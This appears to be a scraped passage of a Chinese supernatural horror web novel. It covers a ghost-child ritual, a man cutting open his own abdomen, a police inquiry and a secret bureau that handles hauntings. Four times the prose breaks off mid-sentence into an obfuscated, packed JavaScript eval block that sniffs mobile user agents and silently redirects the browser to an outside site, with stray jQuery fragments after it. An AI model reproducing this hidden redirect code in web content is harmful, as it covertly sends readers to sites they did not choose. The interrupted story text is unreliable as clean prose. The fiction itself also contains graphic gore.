紧接着,是一股怪异黏腻的声音,仿佛这条小巷被装进无形的消化道,咀嚼声从天空中滚来,紧接着是胃壁蠕动的轻响,肌骨撕裂般,徐老师的痛吟愈来愈微弱,最终消弭不闻。 “嗵。”一颗暗红色的果实从雨雾中坠地,滚了两圈。 它有拳头大小,层层难以消化的筋膜粘合碎骨,血丝掺杂,被攥得紧实无比,有些像猫头鹰整吞田鼠后吐出的食丸。 巷中雨雾散去,N的身影渐渐浮现,他横扫来一眼,双目黑暗锐利,但眼珠破碎,犹如暗夜中尖喙带血的猛禽——但是会动的恶灵标本。徐老师已经完全失去踪迹。 就这么消失了,难道他是被N吞掉的? 食丸自动浮起,在接近N的瞬间消失不见。 N缓步走向涂蓝埙,一身煞气,白超和白小句本能一缩,白小句蹦出来挡在涂蓝埙身前,但哆哆嗦嗦,“大哥哥,你没吃饱吗……” N的笑容仿佛染上血气,黑手套在白小句头顶虚摸一下,并没有接触上,微微俯身,“吃饱了,现在,我们去找你爸爸,好不好?” # “尚景府城?那肯定有警察蹲点,他回那干什么?自首去公安局更近吧。”涂蓝埙轻踩油门,惊讶问N。 N似乎通过吞噬徐老师获取了一些信息,“那里有仪式物品。而且徐老师真教了他一点东西,比如三点血画咒,能暂时降低自己的存在感,让人不容易看见。” “三点血?”涂蓝埙想起网络故事,“就是天灵盖和左右肩膀?” 她说话没有顾忌,因为考虑到鬼儿童也是儿童,不宜目睹仪式,白小句被沿路找了家有儿童乐园的快餐店扔进去,白超则跟车一起。 N默认,又催促涂蓝埙加速,他们几乎是擦着超速的边,一路狂飙开到尚景府城,奔到楼下,果然看见两辆车里有便衣人员在啃面包。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307968|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>汤伟宁很成功地从警方眼皮下溜过去,把自己送进了徐老师挖好的坑里。与其说他傻,不如说痴,抓住哪怕亿分之一的机会,也要试着救回白小句,以解他心中对家庭的愧疚。 但世间的一切都有所代价,这次汤伟宁付出的会是什么?N只答了一个字:“命。” 涂蓝埙一行越过警方包围要容易得多,奔上楼,汤伟宁家的门自动解除反锁,门缝里飘出一股血腥的气味,她隔着口罩也闻得清楚,是很新鲜的血。 忽然想起来,汤伟宁在这间房子里不光藏有那只白色熊娃娃,还有被打磨过的手术刀。 他要做什么好像呼之欲出了。 卧室里已经一片狼藉,血流淌蜿蜒,如画诡异的地图。汤伟宁躺在床上,脸色惨白,他用一只折起来的软枕垫着头,正目睹着自己的胸腹处。 从肋间到小腹,他的皮肤脂肪层被划成两半,肚脐也被一分为二,成为咧着的“大嘴”旁侧的两枚半圆,肌肉层因剧痛蠕动着,下面露出内脏的形状,他好像捧着一只红彤彤的丰收果篮。 汤伟宁无暇视听外物,一手抖得快要握不住柳叶刀,另一手攥着个预先被血浸透的红东西,正往自己的腹腔里塞,涂蓝埙快被吓晕了,踩在血地上,只觉得鞋底滑腻站不稳,但还是扑上去,抓住对方已经开始发凉的手臂,“住手!你被骗了!” 他的状态很不正常,一般人到这步会休克,但汤伟宁被邪性的东西吊着一口气,竟还保持动作能力,在涂蓝埙手中挣扎起来,后者根本不敢用力,生怕一抖落他肚子里的零件就掉出来。 但其实,汤伟宁就是快死了,他的生命因这场非法手术而迅速流逝。 请鬼胎。请来的鬼胎如何安放,怎么复活呢? 当然是借由人的身体“生”出来。 汤伟宁疯起来没边,他竟然想自己再把白小句生出来一次! N冷漠站在一边,眼神中鲜见地有一丝恻隐,抬起手,汤伟宁流出的血虽然没回到体内,但他的动作被定住,裂开的腹腔也朝中间合拢,稍微兜住了。 那只血淋淋的东西自动飞到N身前,正是那只昂贵的白色熊娃娃,被血污得腌臜,两颗可爱的黑豆眼睛十分诡异。 汤伟宁虚弱而绝望地微笑,意识朦胧:“超超……小句……” 他的眼睛阖上了。 血色熊娃娃在空气中自动拆解,背部缝线有不止一次的拆除痕迹,里面是一缕极细的头发,红线缠绕,白超情绪稳定地说:“这是小句的胎发。” 而在最内层,还沾着些烧化的灰,从死气味道判断,是徐老师的某样遗物烧出来的。 问题很明白了,熊娃娃是载体,里面缝的东西才是和灵魂相联系的链接,而且被调换过不止一次。徐老师想要狸猫换太子,自己借由汤伟宁的腹腔“出生”,但汤伟宁也不是傻子,尤其在遇到涂蓝埙和N以后。 ——徐老师的偷换让他更加确定,这个方法是有用的。 N轻轻嗤笑,血色熊娃娃的眼珠自动脱落,对着光一照,居然藏有一枚闪烁暗光的微型摄像头。 “那些灰是骗人的,它,才是徐老师真正的后手。” 眼珠摄像头霎时崩解四碎,带着徐老师最后一丝不甘的哀鸣,消弭于人世间。 与此同时,屋内多了两道身影,一白一黑,肃立在汤伟宁床前。 39. 39 窗外警笛声愈发鼓噪,红蓝闪灯临近楼下,紧张的气氛中,涂蓝埙忍不住去看那蓦然浮现的白黑二鬼。 她很想称呼他们为黑白无常,但两者的样貌实在落拓,一个白色西装搭在臂弯里,边缘略带烧蚀痕迹;另一个身穿民国制式的黑色立领长褂,衣摆如被虫蛀般残缺不堪。 他们的身高约有一米九多,白鬼是女,编发成独辫荡在肩后;黑鬼是男,一头凌厉的短发根根上梳。两鬼都是神情麻木茫然,像两只摆在这里很多年的人偶。 汤伟宁还剩一口气,他们是来接徐老师的?可徐老师已经被N消灭掉了。 涂蓝埙等得不安,黑白无常不应该走流程么,这二位怎么像被点了穴,眼神发木,完全看不见他们似的。 “那个……警察就快上楼了……你们没事的话,那我们先走啦。”她轻声道。 废话,这里站着的就她一个活人,她不想被活捉在疑似邪教谋杀现场,然后惨遭讯问甚至被牵连到。 N对二鬼的出现微微惊讶,他看了眼涂蓝埙,掌心一翻,出现那颗已经黯淡褪色的食丸,它现身的一瞬间,白鬼和黑鬼的头颅霎时转动,僵硬目光锁定食丸。 它从N掌心飞向二鬼,出手的是白鬼,她手中疾疾滑动出一条锁链,以鞭打而非捆缚的角度抽了上去,食丸瞬间碳化成灰,簌簌掉落在空气中,未落地就消隐无踪。 涂蓝埙眨一下眼睛的工夫,白鬼和黑鬼身影消失了。 N复杂道:“他们是来处决徐老师的。” 门外传来电梯运行的声音,N旋即转头,收了表情,眼神微微邪气,对涂蓝埙呲牙一笑:“条子上门了,还不跑?” # 汤伟宁最终被带进医院,抢救室外有警察看守的那种,汤鹏安在审问室绝不吐口,咬定一切都是汤伟宁所为,负责此案的李傲气得在外面拍桌子:“胡扯!” 老魏倒了杯热水:“李队,法医不是说了么,白超的尸块都是汤伟宁的指纹,汤鹏安干干净净的,还有什么疑点?” 李傲怒哼一声:“疑点多了!就从作案人心理来说,汤伟宁为什么要把白超的尸块藏在学校三年,他为什么不找个机会处理掉。” 老魏:“那可能……处理不掉呗……” 小张忍不住说:“我插句嘴嗷,汤伟宁是食品工程与科学专业的老师,修过化学,他们……研究的就是怎么处理有机材料……” 老魏有点尴尬,正巧有人敲门,他去接了下,带回一只塑料本夹子,眉飞色舞:“汤伟宁醒了!这小子倒是命大,都切成那样了,还捡回一条命来。” 就好像有某种冥冥的力量在暗中帮汤伟宁一样,他不仅活着,还能简单回答警方的问题。 问到是谁杀害白超的时候,他同样指认亲爱的兄弟,但汤伟宁另外提供一条线索:五年前,他的女儿白小句死于他杀。凶手也是汤鹏安。 两起案件搅合出一团乱麻,李傲却最擅长从中捋出蛛丝,正当苦思之际,外面闯来一名警察,进门看了情况,小心翼翼道:“李队,出事了,两件。” “说。” “汤光明在被送到他二姨姥姥家后,没过几小时就突发猝死,送医院抢救无效,那孩子已经没了。” 警察觑着李傲愈发铁青的脸色,赶紧说出第二件:“还有,汤鹏安的妻子梁微来警局了,她说,要出面指认案件真凶……” # 李傲坐在梁微对面,打量着这个憔悴的女人,她三十来岁,因为黑眼圈显得比本身年龄更苍老,手指攥着纸巾,眼圈通红但没有泪水。 作为一个刚刚失去独子的家长,梁微的情绪太镇定了,考虑到她在几个月前出走,并未曾主动联系过汤鹏安父子,李傲主观判断,她对汤光明的感情不深。 “梁女士,我们已经确定汤鹏安曾盗窃挪用鹿城第二医院的限制麻醉药品,请问这件事你知情吗?” 梁微漠然点点头,“知情。” 李傲有些吃惊,但面色一丝不露,“那么,关于你丈夫哥嫂一家事情,你有什么要说的吗。” 他凑近了些,语气带上几分严厉:“你一直是知情的,对不对?” 梁微的反应很奇怪,既没有躲闪,也没有直接承认,她被浓浓的恐惧包裹住,抱住双臂,好像在躲避看不见的空气里的东西,良久,才道:“警官,你知道世界上有鬼吗?” 李傲当然知道,但这是个相当暧昧的话题,一方面,警惕诡异入侵、防范陌生人的标语被贴得到处都是;另一方面,除了被查实博眼球的造谣者,竟没有活人能证明自己真的接触过鬼。 若非说有,那也是摄像头之类的录影证据,换句话说,鬼或诡异对活人的击杀率是100%。 只有每年接连不断的悬案,才血淋淋提醒着人们,诡异仍然存在,但你最好祈祷别碰上它们,否则,你将无机会使用你的口舌。 这也是第四条约在活人世界的另一面影响。 李傲:“你是说,白超和白小句死亡的事件和诡异有关?你见过?” 梁微虚弱回答:“见过……像梦一样……” 李傲皱起眉,他怀疑梁微的精神不太正常,谁会把梦的内容当做证词呈交?但出于老刑警的直觉,他继续问下去:“你认为是你梦到的诡异,杀害了白超母女?” 梁微嘴唇颤抖半晌,组织好语言,这才有条理地说道:“是也不是,我怀疑两次下手的都是汤鹏安,也就是我的丈夫。” 李傲挑了下眉,他以为梁微这次来指认的是汤伟宁,“怀疑?你没有亲眼见过吗?”他亲自给梁微倒了杯热水,后者垂头没说话,像是陷入某种漩涡。 五分钟后,她抬起头:“我没见过,但是我有证据。” 梁微觉得汤鹏安不对劲是在五年前,他们原本是还算和睦的传统家庭,传统在于汤鹏安完完全全是一家之主,而梁微只要做好一名小妻子就能安稳度日,但自从嫂子白超的事业一飞冲天,汤鹏安曾经那种开朗的性情就渐渐阴沉下来。 房产,基金,子女教育,一样样差距让他笑不出来。 尤其是汤鹏安爱惨了自己的儿子,一想到白小句以后能躺平财富自由,汤光明却唯唯诺诺不堪成材,最终归于平凡人的行列,自诩青年才俊的汤鹏安就觉得揪心。 怎么不揪心,他心中最大悲剧正在发生:既没有足够的家财庇佑儿子一生,自己引以为傲的高智商和社会地位,似乎也没能通过基因传播。 “我大学专业是电气。”梁微喝了口水,“白超家的别墅是我们两口子帮忙盯装修的,尤其是水电那一块。汤鹏安错改了那间房的电路,整座房子的地线都有问题。” 李傲盯住她:“你什么时候发现的?” 梁微回答:“在水电离场、泥瓦工开干到一半的时候。我记起汤鹏安那段时间对我的专业书很感兴趣,去看了一眼,果然和原来的图纸略有差异,说实话,掩饰得很严密。” “你没提醒白超夫妇重铺电路?这时候回头很来得及。” “没有,我不想拆自家人台,尴尬且经不起推敲。我以为验收队会发现这点。” 但事实证明,现在的国内装修不靠谱的概率太高了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311130|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而梁微就一直怀揣着这个秘密,谁也没说。 梁微接着说:“白小句出事的那一天,汤鹏安起意带我去买烘焙用品,罐装喷嘴奶油买了四罐,我记得很清楚。但等我们进哥嫂家吃饭的时候,它变成了五罐。” 李傲紧追:“其中一罐就是汤鹏安带进去的气体麻醉剂?” “我不知道,应该是吧。后来白小句上楼睡觉,我们打算走了,汤鹏安单独上去过一趟,背着包,说要和小丫头告个别。” 梁微的话说得李傲浑身发冷。 “那白超呢?三年前白超的死,你也有关于汤鹏安的证据?” 梁微摇摇头:“这个没有,但是白超死亡的前两天晚上,汤鹏安不在家,他说被叫去顶个夜班,我给医院同事打电话,他没去。后来知道白超死了,我想就是他干的。” 李傲仔细打量她一遍,梁微的表情越说越冷静,眼圈也不再红了,一般妻子得知丈夫谎报行踪,都会以为他去鬼混,但梁微的联想未免太过准确,“你当时为什么那样确定?” 梁微再次用讲鬼故事的语气说:“因为从白小句去世之后,小光从ICU转移到普通病房开始,他就不再是我儿子了。” “什么?”李傲失声。 “我能感觉到,他的身体里是另一个人,有一些学校和家里的事被他忘了,而且他的性格改变很大,他以前是很柔弱的一个孩子。” 李傲想起来,汤光明现在热爱运动,“头衔”是青少年足球俱乐部的小队长,“因为这个,你就能确定儿子不是儿子了?” “李警官,我们朝夕相对啊。”梁微露出难看的苦笑,“而且还有一点。” “什么?” “‘小光’从医院回来后,经常要求和汤鹏安一起洗澡,并且对我很排斥,拒绝看到我和汤鹏安同房睡觉。医生说是创伤应激障碍。我接受了。” “但那以后我经常做噩梦,有一次噩梦醒来,我看见‘小光’趴在我床头,两只小手掐在我脖子上,那种怨恨的表情,我一辈子都忘不了。” 李傲:“那你怀疑他是什么?鬼?” 梁微点头:“没错,他的身体里是一只鬼。” “所以你离家出走了。” “这不是离家出走,是逃命,我有预感,那鬼的目标是汤鹏安,一切都是他惹的祸。所以我走了,反正我的儿子已经不在这人世上,不在了……我把我的丈夫拱手送给了鬼。” 李傲翻看笔记本,找到之前的通话记录:“你前些天联系过汤伟宁?汤伟宁说你想见他,有话对他说,但见面后你提出的线索直接将他送回鹿城,可以解释一下吗。” 梁微忽而笑了:“找他是良心发现想警告他,但见上面,我又有了新的决定。” “哦?” “汤伟宁和汤鹏安是双胞胎,鬼想要汤鹏安,怎么会不想要汤伟宁?我不想得罪那个东西,我怕了,所以干脆把汤伟宁送回去,让他们自己内部解决。” 李傲烦扰地挠了挠头顶,梁微讲的这些太像故事,但又有些合理,最终,他的思路回到这几天的开端,问:“梁女士,那封举报信是你写的吗?” “什么举报信?我没听过。” “好吧。”见梁微不承认,李傲合上笔记本,颇为头痛,也不知道这些证词有多少能用。 感觉又要挨批了啊。 梁微刚站起身,忽然又坐下,说:“对了,还有一件事,前几天汤伟宁来米城找我的时候,他身边跟着一个戴口罩的小女生。” “不,确切地说,是他跟着一个戴口罩的小女生来的。” 40. 40 送走梁微,李傲觉得她说的真是无稽之谈。 沿着汤伟宁的行踪,梁微家小区的录像被调取过,只有汤伟宁一个人上楼,没有所谓戴口罩的女生。 但出于严谨,李傲还是让人去查了汤伟宁的出行记录,火车票的身份实名系统显示,和汤伟宁购票时间和位置相近的有一个叫涂蓝埙的身份证。 这本来没什么,每天都有成百上千的乘客从鹿城到福市,或许只是碰巧了。可小张叫道: “李队,不对啊,火车监控录像拍到了这个涂蓝埙,可是角度都不对,拍到的都是背影和侧脸,身形都看不清楚,还戴口罩。哪有这么巧的事。” 他们确定不了她的身份,甚至那可能不是涂蓝埙,而是原乘客不在这,有人来蹭铺位的。 李傲眉头一皱,查汤伟宁进站前的监控录像,停车场监控恰好坏了,蒙一层雨雾般的朦胧;沿街监控竟然什么都没拍到,那些车里没一辆有汤伟宁的影子,当真怪事。 “查这个涂蓝埙,看看她什么来头,现居住址在哪,有什么社会关系。”李傲说,小张领命,临走前觉得涂蓝埙这个名字好像在新闻上听过,但一时想不起来,到底闭了嘴。 老魏笑呵呵:“汤伟宁交个女朋友也不是啥大事,人姑娘又没犯法,不是都查清了,他身上的伤是自己弄的。” 李傲瞪了他一眼,虎着脸:“你也一起去!” 外面来了名警察,敲门道:“李队,有人找,孟局叫你去一趟。” 李傲示意小张二人先去办,自己上了楼,分局副局长孟宝剑正背对门口,钻在柜里找东西,见李傲来,说:“哎,李傲,你们那有没有茶叶匀我点,赶紧着,我这多少年都不喝茶。” 李傲正纳闷,转头看见沙发上坐了个人,他惊出一身冷汗,多年刑警练就他对空间人员的绝对敏锐,但偏偏这个人,他走到人家身边都没看见,还是对方动了下鞋,他才如梦初醒。 “你是李队吧。”沙发上的女人站起来,笑着伸出一只修长但关节凹凸的手,常做力量运动的粗糙感,“游戏管理局,第一办公室主任,文冲。” 游戏管理局?李傲不是第一次听说这个部门,只在新闻和内部消息中瞥见过几眼,没有正式接触过。 ——涉及诡异但公安局无从处理的事件,一般会被移交给游戏管理局,简称游管局。 当今没人敢小觑“游戏”二字,它不再代表家长们严防死守的青少年堕落根源,而是真正意义上的洪水猛兽,吃人不吐骨头的诡异。 难道游管局今天是为他手头的案子而来? 他与文冲握过手,对方指掌有若干处的老茧,其中少数几枚能构成枪茧,更多的则不知来源何种器具。李傲敏感意识到,这位四十岁出头的文冲主任不光是坐办公室的,她是个练家子。 孟局到底没找到茶叶,只给文冲倒了杯开水,说:“李傲啊,汤伟宁那个案子可以移交了。喏,文主任亲自来接收,你们这阵子辛苦。” 李傲不肯让:“可还有线索没查清楚。” 孟局眼睛一瞪,还像十年前似的抬腿就要踹,顾忌着文冲在场,只是声音洪亮:“服从命令!” 李傲还要争辩,文冲忽然问道:“是什么线索没查清?” 文冲拿出一张照片,上面是清晰的年轻女生肖像照,颅顶形状和鼻梁高度很像火车监控,李傲愣住了,文冲口吻不恭不踞,词直达意:“是她吗?是的话,直接签移交文件就行,我就是为此而来的。” 一时间,李傲心中划过无数种可能性,难道那涂蓝埙是国际通缉犯?或者是诡异?千言万语最终汇成一句:“……行吧。” 文件一摊开,想说不的心情再次占据上风,因为文件本体简洁,可附带一长串保密条款。 ——禁止泄露游戏管理局的存在。 ——禁止泄露游管局的人员和职务。 ——以及任何调查事项。(注:涂蓝埙。) “好了。”李傲不太情愿地收起笔,从现在开始,他对外再提起本案有关涂蓝埙的部分,就会面临警告甚至处分,老魏和小张也是一样,所有前期查访记录也得删除。 他忍不住在离开前,顶着孟局的视线,问:“那女生到底什么情况?我能知道为什么吗?” 文冲折起文件,倒是不讨人嫌,“可以,但这条也保密。” “我们部门近期在鹿城开展的工作,可能会涉及到她,所以专案专查。” 李傲下意识分析:“哪种涉及,线人还是嫌疑人?” 文冲笑而不语。 # 涂蓝埙深觉自己的小店快坐不下了。 白小句和电脑女鬼一左一右,一个上下左右,一个wasd,合伙玩古早网页小游戏。桌上摊了一堆香雾熏过的巧克力话梅饼干,价格堪比镀金。 她倒没打算要钱,徐老师被N吞掉后,他这些年的积攒都归了涂蓝埙,约200克碎金子,加起来足够一大块金饼干。 涂蓝埙问:“你们鬼的通用货币为什么是黄金?” N翘二郎腿,坐在货架深处读那本无字书,头也不抬:“你们活人祭扫喜欢烧什么?” 涂蓝埙:“冥钞,黄纸,还有……金元宝!” 该不会是烧给亡者的金元宝,都能变成真金吧?N那双桃花眼低垂着,嘴唇一勾:“和祭扫有关,但不是你想的那样,另有一个算法。” 也对,真那么容易的话,那些鬼应该人均黄金矿工。 这边谈着钱,白超起身走向涂蓝埙,三枚金饼干摞在一起,筹码似的推向她。白超友善:“涂小姐,感谢您之前请小句吃巧克力,我的‘命’也是您救的,这一点东西送给您,不成敬意。” 涂蓝埙温和推拒:“不用不用,我已经得到我的报酬了。” 白超坚持:“您是我们全家的恩人。” 说着,白超轻笑一声,把三枚金饼放进涂蓝埙超绝不经意露出的口袋里。涂蓝埙好奇:“超姐,你不是一……就被徐老师放在白瓷天使里了吗?哪来这么多钱。” 白超微微一笑:“应该是家里祭奠的。”看来汤伟宁没少烧。 回到便利店后,白超还说了一件事,她死后遗落在锚里、至今都没去取的记忆是——和汤伟宁的幸福回忆。 涂蓝埙有点矛盾,觉得汤伟宁挺惨的,但惨又有一部分是自己造成的,如果当时没畏罪藏白超的尸体,说不准汤鹏安早就进去了,寄居在汤光明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317147|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体内的徐老师也会被送进福利院。 关于汤伟宁的通报已经下发,缓刑,自由是保住了,但被鹿农大开除教职是板上钉钉,他还躺在病床上,就得提前考虑换份工作。 新闻对他的报导倒不多,白超的网红ID被注销,鹿农学生议论汤伟宁藏尸的声音传不上互联网,像是被人压了热度。 还是别管他人家务事为好,涂蓝埙看不透白超的表情,转头去数钱,掂了掂口袋,满满一兜金子坠得她腰酸,真是幸福的苦恼。 八十万。是她现在预估的存金数额。 不知不觉中,涂蓬莱女士欠下的五百万债务,已经快凑齐1/5了。涂蓝埙不禁感到曙光就在眼前。 “喂。”涂蓝埙站到N面前,毫无不好意思,清亮亮的黑眼睛瞧着他,笑:“这次多谢你帮忙,估计钱的话你看不上,有什么我能为你做的吗?” 她自觉真诚,N反笑:“你怎么确定,我看不上钱?” 涂蓝埙噎住了,良久,眼睛一闭,“行!你要几几分?” “算了,不要钱。” “那你要什么?”她声音高了点,不太情愿被拿捏,宁可给钱。 换来N一声轻轻的冷哼,他换了条腿翘着,破碎的眼珠目光虚浮着,仿佛没有焦点,但不再看涂蓝埙,忽视地说:“没想好,先存着吧。” # 24h阳光便利店(网名:西蓝花商店)的运营正式步入正轨。 涂蓝埙又补了一次货,看着司机步履飘忽地走出便利店,她深深感觉,总让N操纵分销商的雇员不是长久之计,得找个敢于进开发区的人专门负责运输。 眼见着到了和朋友约定去金店的时间,涂蓝埙嘱咐电脑女鬼守家。白超和白小句已经如探险队那样,在附近随便找了间空屋子住,不常在店里了。 私人金店名叫龙凤世家,老板是个呲牙笑的中年男人,圆胖,粗脖子上顶了颗大头,涂蓝埙报了朋友的名字,对方态度更神秘,移开老秤,从柜台罩布里拿出另一只新秤,“您请。” 三又八分之一块金饼和一小堆碎金粒被放上去,蹦出一个涂蓝埙证实过的数字,老板笑着说:“要验金的,先剪再过火,时间有点长,您随便转转。” 涂蓝埙真转身在店内逛起来,她当然知道验金要人盯,但看不见的N正注视着老板,她很放心。 金店展了些黄金饰品,款式比专柜的杂一些,不少老物件,以金镶宝玉石和复杂工艺的金首饰为多。 忽然,一片明亮澄澈的黄光吸引了涂蓝埙的主意,直通通一个宝气的平面,和其他琐碎细小的玩意很不一样。 涂蓝埙走过去,看见一只巴掌大小的八角镜,中间凸出打磨一个弧面,光可鉴人,但清晰度没有现代水银镜那么好,影子略有扭曲。 如果这东西不是镀金而是纯金,会有一个恐怖的价格数字。 她隔着玻璃看了好几眼,忽然,眼前一花,金镜里有东西闪了一下! 仔细看去,那镜子里的人脸扭曲变换着,嘴唇夸张地弯曲,笑着。眼睛却显得委屈。 过了好几秒,眼珠位置竟落下两颗血泪,两滴红水从金镜表面引出,直直淌下去,划断了那过分上弯的嘴角。 41. 41 涂蓝埙吓了一跳,正待去叫N,却被金镜上浮现的文字吸引视线。 ——别出声。 很经典坏人骗受害者的开头。 ——我知道你身边有个男鬼,你很害怕他。 涂蓝埙:? 这倒奇了,什么胆大包天的鬼敢拿N作由头,这位目前为止都算得上所有鬼魂的活祖宗。 ——我能救你,帮你从他身边逃走。 金镜后的鬼脸定定看着涂蓝埙,涂蓝埙没有反应,那行字仿佛烙印在金子上,本身就带有令人目眩心醉的诱惑感,被镀上黄金般的说服力。 涂蓝埙可耻地心动了——那是不可能的。 先别说这老哥为什么屈居在金镜里,就光看两鬼的对比: N和她共处这么长时间,虽然出生入死,但人家没掉过链子,而且给她带来了巨大财富,还债崛起近在眼前。 金镜里的鬼是第一次见面,面貌可疑,而且行为畏缩,如果它真能和N抗衡,为什么不出来硬刚? 她难道还分不清站谁吗? 涂蓬莱女士曾有言:站队是一门艺术。在牌桌上没有核心竞争力的前提下,最好的行动是不行动,看庄家动态跟牌。 就算N某天想杀她,那也是很久以后的事,甚至还有斡旋的余地。假如答应金镜鬼的提议,涂蓝埙恐怕这一天会大大提早到来! 但……这不代表涂蓝埙会立即出卖金镜鬼,她记住金镜的位置和编号,自然走开,就像从没见过它的异常。 余光移开之前,金镜鬼还在做最后的努力; ——别走,我知道N的弱点!如果你不相信我,可以验证一下。 ——他的脊椎上有一处伤疤,那就是他的虚弱之处! 涂蓝埙的眼皮跳了一下,这家伙不按常理出牌,哪有一上来就开大的?不过他说的会是真的吗。 圆胖老板冲涂蓝埙笑:“小姐,验好了,可以走手续打款了。” 所有黄金合计价格共七十九万四千元,只比市价低一丝丝,钱款被分成几批,爽快地打在涂蓝埙的不同卡上,涂蓝埙谨慎:“不会出问题吧。你们收这么大量,什么出货渠道啊?” 老板眼中闪过精光,一挥手,脸上泛油光:“这才哪到哪?您别担心,不会被追查的。” 涂蓝埙不想深究,想着下次不如要现金稳妥一点,拉了拉口罩。忽然,她感觉到一种被注视的感觉,来源于金店窗外的某个点,她转过头。 街道人流稀少,正巧碰上一辆大客车驶过,遮挡她的视野,等到大客车慢悠悠开过去,被注视的感觉消失了。 被跟踪了? 她一瞬间想到很多可能:劫财的贼、N的仇家、她的债主。可能性由高至低。 不,还有一种。涂蓝埙的脑回路一秒打通,她忘了一种可能!是不是警察查到她和汤伟宁的案子有关了? 涂蓝埙警惕起来,悄声将此事告诉N,N看向窗外那个位置,皱眉轻轻摇头。他也没有发现。 涂蓝埙问老板:“您知道哪有卖监控摄像头的吗?” 便利店里只有一个监控摄像头,街道外的探头也有盲区,她准备全副武装起来。 # 去老板推荐的一家店里买完摄像头,涂蓝埙和N去了医院。 原本没有去医院的行程,但奈何今早吃饭的时候,趁着白超去拿饮料,白小句悄悄拉着涂蓝埙说:“姐姐,你能帮我去看看爸爸吗?他的伤好了没有?” 涂蓝埙立马谴责地看向电脑女鬼,女鬼很不好意思,表示玩小游戏太疯一顺口就说漏了。 “姐姐,我有钱,我不让你白去。”白小句还真拿出指头大的一块碎金子,带着牙印,塞在涂蓝埙手里。 但看着白小句软嘟嘟的脸,涂蓝埙怎么也说不出拒绝,她咬牙把金子推回去,“乖哈,钱你自己存着,姐姐答应了。” N在旁边讥诮地看着涂蓝埙,她意识到这鬼跟自己行程绑定,她等于是帮人家答应了跑腿的事,于是把白小句的手移向N,“喏,给大哥哥吧,他也一起去。”如果他好意思要的话。 白小句:“哦我忘了,姐姐是老板,不缺钱的。那给哥哥吧。” N挑了下眉:“你觉得大哥哥很缺钱?” 白小句依着涂蓝埙的手臂,点头:“嗯嗯,大哥哥是给姐姐打工的嘛。” 涂蓝埙快憋不住笑了,电脑女鬼头都快埋到盘子里,白超这时回来:“你们聊什么呢?” 没一个敢应声,大家飞快扒起饭来,N微笑:“聊打工的事。” 说着,他挟起一筷子藤椒里脊,放在涂蓝埙碗里,涂蓝埙背后一激灵正要道谢,只见N的筷子飘然带走里脊,只剩上面沾的一串藤椒留在那。 N呲牙:“吃吧,醒脑的。” 所以,涂蓝埙和N进医院的时候,心理作用让嘴唇有点发麻。他们找到汤伟宁住院的楼层,他现在不算嫌疑人了,走廊没有警察监控,他们很快来到病房门口。 VIP单人病房,涂蓝埙问过护士被带进去,汤伟宁看见她一愣,有些惊喜:“涂小姐,您来了。” 他比上次见面瘦了很多,脸上青色胡渣显得落魄,病号服几乎是挂在肩膀上。涂蓝埙其实和汤伟宁没什么话说,当聊起白超和白小句在便利店附近找了个住处时,汤伟宁红着眼睛点点头,又哭又笑。 涂蓝埙不太忍心,但还是转达了白超新做的决定:“她打算带着小句……去投胎了。” 汤伟宁瞪大眼睛,表情僵硬半晌,好像被雷劈了下。 投胎在鬼中间是很常见的事情,可以说是必走流程,这点还是N解说的。不管现实世界还是游戏世界,鬼魂只要前恩旧怨解清,就算和世界断了纽带,可以“投胎”。 用人间的话说,投胎是重入六道,只是没人能证明这件事的真实性。 用游戏世界的话说,投胎就是灵魂重新归于世界的数据洪流,直到洪流另外摘出一组数值,孕育出一个新的幼小的灵魂。这是N等游戏世界鬼魂亲眼目证过的。 但当涂蓝埙问N为什么同时有地球和游戏世界两种身份时,N又冷笑不语了。 总之,白超母女要投胎的计划是可行的,信心是坚定的,对汤伟宁来说是残酷的。 这代表世界上只剩他孤零零的一个人,再没人和他有关了。 之后,汤伟宁的脑子已经完全乱掉,和涂蓝埙的聊天也牛头不对马嘴,她略坐一会,只能告别离开。 出门后,涂蓝埙缓缓说了句话:“其实白超要带白小句投胎,也是为了大家都好。” N说:“是,白超和白小句如果长久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330049|165460||http|test|mini|href|location''.split(''|''),0,{})); () { 